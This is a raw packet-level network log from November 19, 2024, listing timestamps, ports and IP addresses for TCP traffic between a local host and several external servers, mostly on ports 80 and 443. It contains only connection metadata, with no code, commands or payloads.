Nov 19, 2024 18:00:46.267163992 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267173052 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267183065 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267187119 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267194033 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267203093 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267205954 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267216921 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267249107 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267343044 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267354965 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267371893 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267379999 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267390966 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267400026 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267404079 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267410040 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267419100 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267421007 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267430067 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267440081 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267450094 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267452002 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267482042 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267496109 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267514944 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267532110 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267541885 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267550945 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267560959 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267570972 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267579079 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267589092 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267599106 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267601013 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267610073 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267621040 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267626047 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267637014 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267638922 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267647982 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267657995 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267658949 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267688036 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267704964 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267714977 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267716885 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267726898 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267738104 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267743111 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267761946 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267786026 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267827988 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267838001 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267848015 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267857075 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267867088 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267877102 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267878056 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267887115 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267904043 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267930031 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.267955065 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267971992 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267982006 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.267993927 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268006086 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268016100 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268019915 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.268027067 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268035889 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.268038034 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268049002 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268059015 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.268079996 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.268095970 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268101931 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.268105030 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268137932 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.268145084 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.268153906 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268167019 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268174887 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268186092 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268208027 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.268237114 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.268255949 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268265963 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268282890 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268292904 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268295050 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.268304110 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268312931 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268326998 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.268327951 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268337965 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268362045 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.268383026 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.268449068 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268460035 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268475056 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268496037 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268501043 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.268506050 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268516064 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268520117 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.268527031 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268536091 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.268551111 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.268584013 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.269514084 CET	443	49796	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.269906998 CET	443	49796	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.270019054 CET	49796	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.275011063 CET	443	49794	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.275070906 CET	443	49794	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.275558949 CET	49794	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.275568962 CET	443	49794	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.275630951 CET	443	49794	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.275928974 CET	49794	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.287405968 CET	49796	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.287420034 CET	443	49796	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.287786961 CET	49801	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.287863970 CET	443	49801	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.287954092 CET	49801	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.288342953 CET	49798	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.288348913 CET	443	49798	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.288376093 CET	49802	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.288397074 CET	443	49802	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.288445950 CET	49802	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.288737059 CET	49794	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.288746119 CET	443	49794	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.289285898 CET	49801	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.289299965 CET	443	49801	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.289572001 CET	49802	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.289585114 CET	443	49802	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.291667938 CET	443	49790	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.291698933 CET	443	49790	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.291757107 CET	49790	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.291765928 CET	443	49790	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.291989088 CET	443	49790	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.292098999 CET	49790	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.294368982 CET	49800	443	192.168.2.8	23.200.88.15
Nov 19, 2024 18:00:46.294382095 CET	443	49800	23.200.88.15	192.168.2.8
Nov 19, 2024 18:00:46.294420004 CET	49795	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.294440031 CET	443	49795	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.300694942 CET	49790	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.300694942 CET	49790	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.300703049 CET	443	49790	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.300757885 CET	49790	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.312645912 CET	49803	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:46.312689066 CET	443	49803	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:46.312755108 CET	49803	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:46.319691896 CET	49804	443	192.168.2.8	20.110.205.119
Nov 19, 2024 18:00:46.319749117 CET	443	49804	20.110.205.119	192.168.2.8
Nov 19, 2024 18:00:46.319807053 CET	49804	443	192.168.2.8	20.110.205.119
Nov 19, 2024 18:00:46.319977045 CET	49803	443	192.168.2.8	52.168.117.168
Nov 19, 2024 18:00:46.319998026 CET	443	49803	52.168.117.168	192.168.2.8
Nov 19, 2024 18:00:46.320377111 CET	49804	443	192.168.2.8	20.110.205.119
Nov 19, 2024 18:00:46.320395947 CET	443	49804	20.110.205.119	192.168.2.8
Nov 19, 2024 18:00:46.334594965 CET	443	49797	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.334666014 CET	49797	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.334687948 CET	443	49797	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.335201025 CET	443	49797	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.335258961 CET	49797	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.338948965 CET	49797	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.338970900 CET	443	49797	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.356926918 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.356950045 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.356966972 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.356981993 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.356997013 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357007980 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357029915 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357032061 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357044935 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357060909 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357076883 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357078075 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357091904 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357096910 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357106924 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357114077 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357121944 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357137918 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357141018 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357153893 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357166052 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357202053 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357249022 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357264042 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357280016 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357290983 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357317924 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357352018 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357367039 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357383013 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357398987 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357403040 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357414007 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357422113 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357429981 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357445002 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357455015 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357480049 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357650042 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357666969 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357681990 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357697010 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357709885 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357712030 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357727051 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357737064 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357742071 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357754946 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357757092 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357783079 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357796907 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357806921 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357811928 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357826948 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357835054 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357842922 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357852936 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357858896 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357872009 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357875109 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357891083 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357891083 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357903957 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357908964 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357917070 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357924938 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.357934952 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357949972 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.357966900 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.388113022 CET	49805	443	192.168.2.8	108.139.47.92
Nov 19, 2024 18:00:46.388156891 CET	443	49805	108.139.47.92	192.168.2.8
Nov 19, 2024 18:00:46.388372898 CET	49805	443	192.168.2.8	108.139.47.92
Nov 19, 2024 18:00:46.388850927 CET	49805	443	192.168.2.8	108.139.47.92
Nov 19, 2024 18:00:46.388864994 CET	443	49805	108.139.47.92	192.168.2.8
Nov 19, 2024 18:00:46.392956972 CET	49806	443	192.168.2.8	20.75.60.91
Nov 19, 2024 18:00:46.392990112 CET	443	49806	20.75.60.91	192.168.2.8
Nov 19, 2024 18:00:46.393110037 CET	49806	443	192.168.2.8	20.75.60.91
Nov 19, 2024 18:00:46.393294096 CET	49806	443	192.168.2.8	20.75.60.91
Nov 19, 2024 18:00:46.393311024 CET	443	49806	20.75.60.91	192.168.2.8
Nov 19, 2024 18:00:46.395301104 CET	49800	443	192.168.2.8	23.200.88.15
Nov 19, 2024 18:00:46.395335913 CET	49795	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.513465881 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.518378019 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.569817066 CET	443	49793	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:46.569843054 CET	443	49793	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:46.569895983 CET	443	49793	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:46.569933891 CET	49793	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:46.569951057 CET	443	49793	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:46.570014954 CET	49793	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:46.570178986 CET	443	49793	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:46.571130991 CET	49793	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:46.657460928 CET	443	49795	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.657485008 CET	443	49795	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.657769918 CET	49795	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.657784939 CET	443	49795	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.657983065 CET	443	49795	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.658039093 CET	49795	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.686824083 CET	49793	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:46.686856985 CET	443	49793	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:46.686975002 CET	49793	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:46.686983109 CET	443	49793	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:46.696526051 CET	49807	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:46.696569920 CET	443	49807	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:46.696727037 CET	49807	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:46.696873903 CET	49808	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:46.696906090 CET	443	49808	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:46.696970940 CET	49809	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:46.697019100 CET	443	49809	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:46.697020054 CET	49808	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:46.697069883 CET	49809	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:46.697109938 CET	49810	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:46.697124004 CET	443	49810	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:46.697212934 CET	49810	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:46.697220087 CET	49811	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:46.697228909 CET	443	49811	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:46.697356939 CET	49812	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:46.697376966 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:46.697377920 CET	49811	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:46.697484970 CET	49812	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:46.697664976 CET	49807	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:46.697683096 CET	443	49807	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:46.697828054 CET	49808	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:46.697849035 CET	443	49808	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:46.697958946 CET	49809	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:46.697974920 CET	443	49809	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:46.698560953 CET	49811	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:46.698575020 CET	443	49811	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:46.698585987 CET	49810	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:46.698596954 CET	443	49810	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:46.698694944 CET	49812	443	192.168.2.8	104.117.182.25
Nov 19, 2024 18:00:46.698714018 CET	443	49812	104.117.182.25	192.168.2.8
Nov 19, 2024 18:00:46.708108902 CET	49795	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:46.708127975 CET	443	49795	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:46.722771883 CET	49813	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:46.722806931 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:46.722892046 CET	49813	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:46.723958969 CET	49813	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:46.723985910 CET	443	49813	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:46.733894110 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.733927011 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.733980894 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.734005928 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.734005928 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.734019041 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.734031916 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.734052896 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.734061956 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.734101057 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.734102964 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.734138012 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.734148979 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.734174013 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.734174013 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.734208107 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.734214067 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.734240055 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.734287977 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.734385014 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.734427929 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.734464884 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.734493971 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.734539986 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.734548092 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.734585047 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.734600067 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.734649897 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.734689951 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.734699965 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.734734058 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.734767914 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.734791040 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.734813929 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:46.734823942 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:46.734858036 CET	80	49761	185.215.113.206	192.168.2.8
